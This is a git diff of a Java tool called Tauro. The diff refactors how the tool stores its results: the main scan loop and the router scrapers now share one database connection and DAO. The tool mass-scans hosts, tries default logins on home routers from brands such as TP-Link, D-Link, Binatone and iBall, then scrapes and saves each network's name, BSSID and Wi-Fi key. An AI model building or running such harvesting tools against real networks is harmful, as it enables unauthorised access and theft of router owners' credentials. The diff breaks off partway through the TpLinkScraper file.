diff --git a/src/main/java/org/koreops/tauro/cli/TauroMain.java b/src/main/java/org/koreops/tauro/cli/TauroMain.java index f6e83fd..8e6c86d 100755 --- a/src/main/java/org/koreops/tauro/cli/TauroMain.java +++ b/src/main/java/org/koreops/tauro/cli/TauroMain.java @@ -23,11 +23,13 @@ import org.koreops.tauro.cli.authtrial.threads.FormAuthTrial; import org.koreops.tauro.cli.dao.UpdaterDao; import org.koreops.tauro.cli.opts.processor.CliOptsProcessor; +import org.koreops.tauro.core.db.DbConnEngine; import org.koreops.tauro.core.loggers.Logger; import org.koreops.tauro.core.process.ProcessManager; import org.koreops.tauro.core.process.status.reporting.Mailer; import java.net.UnknownHostException; +import java.sql.Connection; import java.util.ArrayList; import java.util.Arrays; import java.util.List; @@ -153,7 +155,9 @@ public static void main(String[] args) throws Exception { Logger.info("Starting new batch: ", true); List hostsList = Arrays.asList(hosts); mainObject = new TauroMain(hostsList, port); - mainObject.scanAndAttackHosts(); + Connection connection = DbConnEngine.getConnection(); + + mainObject.scanAndAttackHosts(connection); } else { Logger.error("No hosts found to scan/attack.", true); } @@ -170,7 +174,7 @@ public static void main(String[] args) throws Exception { } } - private void scanAndAttackHosts() throws InterruptedException { + private void scanAndAttackHosts(Connection connection) throws InterruptedException { List hosts = generateHosts(this.hosts, exclusions); System.out.println(hosts.size()); @@ -186,25 +190,27 @@ private void scanAndAttackHosts() throws InterruptedException { checkedHosts.add(host); i++; if (i >= BATCH_SIZE) { - startCracking(futures, checkedHosts); + startCracking(futures, checkedHosts, connection); futures = new ArrayList<>(); checkedHosts = new ArrayList<>(); i = 0; } } - startCracking(futures, checkedHosts); + startCracking(futures, checkedHosts, connection); Logger.info("All batches done.", true); } - private void startCracking(List> futures, List checkedHosts) throws InterruptedException { + private void startCracking(List> futures, List checkedHosts, Connection connection) throws InterruptedException { int done = 0; Thread.sleep(2000); List doneHosts = new ArrayList<>(); List> attackFutures = new ArrayList<>(); + UpdaterDao updaterDao = new UpdaterDao(connection); + while (true) { if (done == futures.size()) { break; @@ -229,9 +235,9 @@ private void startCracking(List> futures, List checkedHosts Thread hostHandler; if (!host.isFormAuth()) { - hostHandler = new DefaultAuthTrial(host.getIp(), port); + hostHandler = new DefaultAuthTrial(host.getIp(), port, updaterDao); } else { - hostHandler = new FormAuthTrial(host.getIp(), port); + hostHandler = new FormAuthTrial(host.getIp(), port, updaterDao); } attackFutures.add(attackExecutorService.submit(hostHandler)); doneHosts.add(host.getIp()); diff --git a/src/main/java/org/koreops/tauro/cli/authtrial/threads/DefaultAuthTrial.java b/src/main/java/org/koreops/tauro/cli/authtrial/threads/DefaultAuthTrial.java index 29eab59..4c0d37a 100755 --- a/src/main/java/org/koreops/tauro/cli/authtrial/threads/DefaultAuthTrial.java +++ b/src/main/java/org/koreops/tauro/cli/authtrial/threads/DefaultAuthTrial.java @@ -25,6 +25,7 @@ import org.apache.http.impl.client.HttpClients; import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.net.def.beans.Credentials; +import org.koreops.tauro.cli.dao.UpdaterDao; import org.koreops.tauro.cli.scraper.AbstractScraper; import org.koreops.tauro.cli.scraper.basicauth.BinatoneScraper; import org.koreops.tauro.cli.scraper.basicauth.CoshipScraper; @@ -47,13 +48,15 @@ */ public class DefaultAuthTrial extends AbstractAuthTrial { + private final UpdaterDao updaterDao; + /** * Constructor for the Http Basic Auth Default Login trial. - * * @param host The host that is being attacked * @param port The port on which the HTTP server is running + * @param updaterDao The object responsible for Data Layer updates */ - public DefaultAuthTrial(String host, String port) { + public DefaultAuthTrial(String host, String port, UpdaterDao updaterDao) { super(); this.host = host; if (port != null) { @@ -61,6 +64,7 @@ public DefaultAuthTrial(String host, String port) { } else { this.port = 80; } + this.updaterDao = updaterDao; } @Override @@ -132,56 +136,56 @@ protected void logWirelessStation(String hostUrl, AuthCrackParams params) { boolean success; System.out.println("Trying Binatone Scraper."); - scraper = new BinatoneScraper(host, hostUrl, params); + scraper = new BinatoneScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; } System.out.println("Trying DLink Scraper."); - scraper = new DLinkScraper(host, hostUrl, params); + scraper = new DLinkScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; } System.out.println("Trying New iBall Baton Scraper."); - scraper = new NewIBallBatonScraper(host, hostUrl, params); + scraper = new NewIBallBatonScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; } System.out.println("Trying Digiflip Scraper."); - scraper = new DigiflipScraper(host, hostUrl, params); + scraper = new DigiflipScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; } System.out.println("Trying New TPLink Scraper."); - scraper = new NewTpLinkScraper(host, hostUrl, params); + scraper = new NewTpLinkScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; } System.out.println("Trying Old TPLink Scraper."); - scraper = new TpLinkScraper(host, hostUrl, params); + scraper = new TpLinkScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; } System.out.println("Trying COSHIP Scraper."); - scraper = new CoshipScraper(host, hostUrl, params); + scraper = new CoshipScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; } System.out.println("Trying iBall iB-WRX300N Scraper."); - scraper = new IBallWrx300NScraper(host, hostUrl, params); + scraper = new IBallWrx300NScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; diff --git a/src/main/java/org/koreops/tauro/cli/authtrial/threads/FormAuthTrial.java b/src/main/java/org/koreops/tauro/cli/authtrial/threads/FormAuthTrial.java index dd4b63c..fbe754d 100755 --- a/src/main/java/org/koreops/tauro/cli/authtrial/threads/FormAuthTrial.java +++ b/src/main/java/org/koreops/tauro/cli/authtrial/threads/FormAuthTrial.java @@ -22,6 +22,7 @@ import org.jsoup.select.Elements; import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.net.def.beans.Credentials; +import org.koreops.tauro.cli.dao.UpdaterDao; import org.koreops.tauro.cli.scraper.AbstractScraper; import org.koreops.tauro.cli.scraper.formauth.ActBeamScraper; import org.koreops.tauro.core.loggers.Logger; @@ -40,14 +41,15 @@ public class FormAuthTrial extends AbstractAuthTrial { private final String hostUrl; + private final UpdaterDao updaterDao; /** * Constructor for the Form Based Auth Default Login trial. - * * @param host The host that is being attacked * @param port The port on which the HTTP server is running + * @param updaterDao The object responsible for Data Layer updates */ - public FormAuthTrial(String host, String port) { + public FormAuthTrial(String host, String port, UpdaterDao updaterDao) { super(); this.host = host; if (port != null) { @@ -56,6 +58,7 @@ public FormAuthTrial(String host, String port) { this.port = 80; } hostUrl = this.forgeUrl("http://", this.host, this.port, "/"); + this.updaterDao = updaterDao; } @Override @@ -172,7 +175,7 @@ protected void logWirelessStation(String hostUrl, AuthCrackParams params) { boolean success; System.out.println("Trying ActBeam Scraper."); - scraper = new ActBeamScraper(host, hostUrl, params); + scraper = new ActBeamScraper(host, hostUrl, params, updaterDao); success = scraper.scrape(); if (success) { return; diff --git a/src/main/java/org/koreops/tauro/cli/dao/UpdaterDao.java b/src/main/java/org/koreops/tauro/cli/dao/UpdaterDao.java index 1d5e845..362af5b 100755 --- a/src/main/java/org/koreops/tauro/cli/dao/UpdaterDao.java +++ b/src/main/java/org/koreops/tauro/cli/dao/UpdaterDao.java @@ -15,8 +15,6 @@ package org.koreops.tauro.cli.dao; -import org.koreops.tauro.core.db.DbConnEngine; -import org.koreops.tauro.core.exceptions.DbDriverException; import org.koreops.tauro.core.loggers.Logger; import java.sql.Connection; @@ -32,19 +30,21 @@ */ public class UpdaterDao { private static String isp; + private final Connection conn; + + public UpdaterDao(Connection conn) { + this.conn = conn; + } /** * Saves scraped Wifi station to the database. * * @param wifiData A HashMap containing the Wifi Data (BSSID, SSID, Encryption and Key) * @param host The Host for which the data is being saved (Will be used for logging purposes) - * @throws DbDriverException In case of a JDBC Driver related problem (unlikely to happen). */ - public static synchronized void saveStation(Map wifiData, String host) throws DbDriverException { + public synchronized void saveStation(Map wifiData, String host) { try { boolean stationExists; - Connection conn; - conn = DbConnEngine.getConnection(); String sql; sql = "Select * from WirelessStations where lower(BSSID) = lower(?) and SSID = ?"; PreparedStatement stmt = conn.prepareStatement(sql); diff --git a/src/main/java/org/koreops/tauro/cli/scraper/AbstractScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/AbstractScraper.java index 638875d..6ab8229 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/AbstractScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/AbstractScraper.java @@ -17,11 +17,8 @@ import com.gargoylesoftware.htmlunit.BrowserVersion; import com.gargoylesoftware.htmlunit.WebClient; - import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.net.utils.ReachabilityUtil; -import org.koreops.tauro.core.exceptions.DbDriverException; -import org.koreops.tauro.core.loggers.Logger; import java.util.Arrays; import java.util.List; @@ -90,13 +87,7 @@ public AbstractScraper(String host, String hostUrl, AuthCrackParams params) { public boolean scrape() { while (true) { if (ReachabilityUtil.isReachable()) { - try { - return this.scrapeAndLog(); - } catch (DbDriverException ex) { - // Well, we can't go on now, can we? - Logger.error("Database Driver issue. Exiting..."); - System.exit(255); - } + return this.scrapeAndLog(); } else { try { Thread.sleep(1000); @@ -107,5 +98,5 @@ public boolean scrape() { } } - public abstract boolean scrapeAndLog() throws DbDriverException; + public abstract boolean scrapeAndLog(); } diff --git a/src/main/java/org/koreops/tauro/cli/scraper/AbstractScraperAndSaver.java b/src/main/java/org/koreops/tauro/cli/scraper/AbstractScraperAndSaver.java new file mode 100644 index 0000000..6a2c587 --- /dev/null +++ b/src/main/java/org/koreops/tauro/cli/scraper/AbstractScraperAndSaver.java @@ -0,0 +1,22 @@ +package org.koreops.tauro.cli.scraper; + +import org.koreops.net.def.beans.AuthCrackParams; +import org.koreops.tauro.cli.dao.UpdaterDao; + +public abstract class AbstractScraperAndSaver extends AbstractScraper { + + protected final UpdaterDao updaterDao; + + /** + * AbstractScraper Constructor. + * + * @param host The host that is to be attacked + * @param hostUrl The complete Url to the host's webpage + * @param params The Authentication Cracking parameters (Credentials and other data) + * @param updaterDao The DAO class that does the job of saving the scraped data + */ + public AbstractScraperAndSaver(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params); + this.updaterDao = updaterDao; + } +} diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/BinatoneScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/BinatoneScraper.java index abc8da4..5c3f407 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/BinatoneScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/BinatoneScraper.java @@ -23,9 +23,8 @@ import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.authtrial.threads.DefaultAuthTrial; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.cli.scraper.exception.WirelessDisabledException; -import org.koreops.tauro.core.exceptions.DbDriverException; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -39,14 +38,13 @@ * Scraper module for Binatone routers. * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). */ -public class BinatoneScraper extends AbstractScraper { - - public BinatoneScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); +public class BinatoneScraper extends AbstractScraperAndSaver { + public BinatoneScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logWirelessStation(hostUrl, base64Login); } @@ -57,7 +55,7 @@ public boolean scrapeAndLog() throws DbDriverException { * @param hostUrl The complete URL, including the port number, protocol etc * @param base64Login The base64 login header */ - private boolean logWirelessStation(String hostUrl, String base64Login) throws DbDriverException { + private boolean logWirelessStation(String hostUrl, String base64Login) { try { String macAddr = null; String devInfoUrl = hostUrl + "status/status_deviceinfo.htm"; @@ -87,7 +85,7 @@ private boolean logWirelessStation(String hostUrl, String base64Login) throws Db } for (Map wifiData : wifiDataList) { - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); } } catch (WirelessDisabledException ex) { Logger.error(host + ex.getMessage()); @@ -102,8 +100,6 @@ private boolean logWirelessStation(String hostUrl, String base64Login) throws Db } catch (IOException ex) { Logger.error(host + ": IOException during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/CoshipScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/CoshipScraper.java index 3a0bb83..dbd3c25 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/CoshipScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/CoshipScraper.java @@ -17,7 +17,6 @@ import com.gargoylesoftware.htmlunit.ElementNotFoundException; import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; - import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; @@ -31,8 +30,7 @@ import org.jsoup.select.Elements; import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.BufferedReader; @@ -48,18 +46,18 @@ * * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). */ -public class CoshipScraper extends AbstractScraper { +public class CoshipScraper extends AbstractScraperAndSaver { - public CoshipScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + public CoshipScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logCoshipStation(); } - private boolean logCoshipStation() throws DbDriverException { + private boolean logCoshipStation() { try { Document doc = Jsoup.connect(hostUrl).userAgent(USER_AGENT).header("Authorization", "Basic " + base64Login).timeout(60000).get(); @@ -102,7 +100,7 @@ private boolean logCoshipStation() throws DbDriverException { List> wifiDataList = this.fetchDetails(macAddr); for (Map m : wifiDataList) { - UpdaterDao.saveStation(m, host); + updaterDao.saveStation(m, host); } return true; } catch (IOException ex) { @@ -111,8 +109,6 @@ private boolean logCoshipStation() throws DbDriverException { Logger.error(host + ": FailingHttpStatusCodeException during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); } catch (ElementNotFoundException ex) { Logger.error(host + ": ElementNotFoundException during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); } diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DLinkScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DLinkScraper.java index 2a40978..bb8d601 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DLinkScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DLinkScraper.java @@ -23,8 +23,7 @@ import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.authtrial.threads.DefaultAuthTrial; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -37,18 +36,18 @@ * * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). */ -public class DLinkScraper extends AbstractScraper { +public class DLinkScraper extends AbstractScraperAndSaver { - public DLinkScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + public DLinkScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logDLinkWirelessStation(hostUrl, base64Login); } - private boolean logDLinkWirelessStation(String hostUrl, String base64Login) throws DbDriverException { + private boolean logDLinkWirelessStation(String hostUrl, String base64Login) { try { String macAddr = null; String devInfoUrl = hostUrl + "info.html"; @@ -82,7 +81,7 @@ private boolean logDLinkWirelessStation(String hostUrl, String base64Login) thro } wifiData.put("BSSID", macAddr.toLowerCase()); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); return true; } catch (HttpStatusException ex) { if ((ex.getStatusCode() != 404) && (ex.getStatusCode() != 501)) { @@ -91,8 +90,6 @@ private boolean logDLinkWirelessStation(String hostUrl, String base64Login) thro } catch (IOException ex) { Logger.error(host + ": IOException during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DigiflipScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DigiflipScraper.java index 0891854..2c7b74b 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DigiflipScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/DigiflipScraper.java @@ -18,15 +18,13 @@ import com.gargoylesoftware.htmlunit.ElementNotFoundException; import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import com.gargoylesoftware.htmlunit.html.HtmlPage; - import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.select.Elements; import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -39,18 +37,18 @@ * * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). */ -public class DigiflipScraper extends AbstractScraper { +public class DigiflipScraper extends AbstractScraperAndSaver { - public DigiflipScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + public DigiflipScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logDigiflipStation(); } - private boolean logDigiflipStation() throws DbDriverException { + private boolean logDigiflipStation() { try { boolean newRouter = false; @@ -86,8 +84,6 @@ private boolean logDigiflipStation() throws DbDriverException { } catch (ElementNotFoundException ex) { Logger.error(host + ": ElementNotFoundException during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); java.util.logging.Logger.getLogger(NewTpLinkScraper.class.getName()).log(Level.SEVERE, null, ex); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); java.util.logging.Logger.getLogger(NewTpLinkScraper.class.getName()).log(Level.SEVERE, null, ex); @@ -95,7 +91,7 @@ private boolean logDigiflipStation() throws DbDriverException { return false; } - private boolean logNewDigiflip(HtmlPage mainPage) throws IOException, InterruptedException, DbDriverException { + private boolean logNewDigiflip(HtmlPage mainPage) throws IOException, InterruptedException { Thread.sleep(1000); // Let the javascript load the menu. ((HtmlPage) mainPage.getFrameByName("menu").getEnclosedPage()).getAnchorByName("sub24").click(); Thread.sleep(1000); // Let the javascript load the menu. @@ -199,11 +195,11 @@ private boolean logNewDigiflip(HtmlPage mainPage) throws IOException, Interrupte Logger.info(host + ": Found AuthType: " + wifiData.get("AuthType")); Logger.info(host + ": Found Encryption: " + wifiData.get("Encryption")); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); return true; } - private boolean logOldDigiflip(HtmlPage mainPage) throws IOException, InterruptedException, DbDriverException { + private boolean logOldDigiflip(HtmlPage mainPage) throws IOException, InterruptedException { String macAddr = null; @@ -276,7 +272,7 @@ private boolean logOldDigiflip(HtmlPage mainPage) throws IOException, Interrupte Logger.info(host + ": Found AuthType: " + wifiData.get("AuthType")); Logger.info(host + ": Found Encryption: " + wifiData.get("Encryption")); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); return true; } diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/IBallWrx300NScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/IBallWrx300NScraper.java index 7d4b153..7a8d239 100644 --- a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/IBallWrx300NScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/IBallWrx300NScraper.java @@ -23,8 +23,7 @@ import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.authtrial.threads.DefaultAuthTrial; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -38,14 +37,14 @@ * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). * @since 24 Oct, 2017 10:56 PM */ -public class IBallWrx300NScraper extends AbstractScraper { +public class IBallWrx300NScraper extends AbstractScraperAndSaver { - public IBallWrx300NScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + public IBallWrx300NScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logIBallBatonWirelessStation(hostUrl, base64Login); } @@ -54,7 +53,7 @@ public boolean scrapeAndLog() throws DbDriverException { * * @param base64Login This is for iBall Baton's Router - iB-WRX300N */ - private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) throws DbDriverException { + private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) { try { System.out.println("Cracking iBall"); String macAddr = null; @@ -109,7 +108,7 @@ private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) wifiData.put("BSSID", macAddr.toLowerCase()); wifiData.put("SSID", ssid); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); return true; } catch (HttpStatusException ex) { if ((ex.getStatusCode() != 404) && (ex.getStatusCode() != 501)) { @@ -118,8 +117,6 @@ private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) } catch (IOException ex) { Logger.error(host + ": IOException during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewIBallBatonScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewIBallBatonScraper.java index eeb9450..824a4f7 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewIBallBatonScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewIBallBatonScraper.java @@ -23,8 +23,7 @@ import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.authtrial.threads.DefaultAuthTrial; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -37,14 +36,14 @@ * * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). */ -public class NewIBallBatonScraper extends AbstractScraper { +public class NewIBallBatonScraper extends AbstractScraperAndSaver { - public NewIBallBatonScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + public NewIBallBatonScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logIBallBatonWirelessStation(hostUrl, base64Login); } @@ -53,7 +52,7 @@ public boolean scrapeAndLog() throws DbDriverException { * * @param base64Login This is for iBall Baton's 300M Wi-Fi Mini AP Router - iBWRR300N */ - private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) throws DbDriverException { + private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) { try { System.out.println("Cracking iBall"); StringBuilder macAddr = null; @@ -96,7 +95,7 @@ private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) } wifiData.put("BSSID", macAddr.toString().toLowerCase()); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); return true; } catch (HttpStatusException ex) { if ((ex.getStatusCode() != 404) && (ex.getStatusCode() != 501)) { @@ -105,8 +104,6 @@ private boolean logIBallBatonWirelessStation(String hostUrl, String base64Login) } catch (IOException ex) { Logger.error(host + ": IOException during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during logWirelessStation(): " + ex.getMessage() + " ::::::: " + ex.getLocalizedMessage()); java.util.logging.Logger.getLogger(DefaultAuthTrial.class.getName()).log(Level.SEVERE, null, ex); diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewTpLinkScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewTpLinkScraper.java index e954f82..0e7b2f1 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewTpLinkScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/NewTpLinkScraper.java @@ -18,15 +18,13 @@ import com.gargoylesoftware.htmlunit.ElementNotFoundException; import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import com.gargoylesoftware.htmlunit.html.HtmlPage; - import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.select.Elements; import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -39,18 +37,18 @@ * * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). */ -public class NewTpLinkScraper extends AbstractScraper { +public class NewTpLinkScraper extends AbstractScraperAndSaver { - public NewTpLinkScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + public NewTpLinkScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logNewTpLinkStation(); } - private boolean logNewTpLinkStation() throws DbDriverException { + private boolean logNewTpLinkStation() { try { Document doc = Jsoup.connect(hostUrl).userAgent(USER_AGENT).header("Authorization", "Basic " + base64Login).timeout(60000).get(); @@ -213,7 +211,7 @@ private boolean logNewTpLinkStation() throws DbDriverException { Logger.info(host + ": Found AuthType: " + wifiData.get("AuthType")); Logger.info(host + ": Found Encryption: " + wifiData.get("Encryption")); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); return true; } catch (IOException ex) { @@ -223,8 +221,6 @@ private boolean logNewTpLinkStation() throws DbDriverException { } catch (ElementNotFoundException ex) { Logger.error(host + ": ElementNotFoundException during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); java.util.logging.Logger.getLogger(NewTpLinkScraper.class.getName()).log(Level.SEVERE, null, ex); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); java.util.logging.Logger.getLogger(NewTpLinkScraper.class.getName()).log(Level.SEVERE, null, ex); diff --git a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/TpLinkScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/TpLinkScraper.java index 815515a..2070a8b 100755 --- 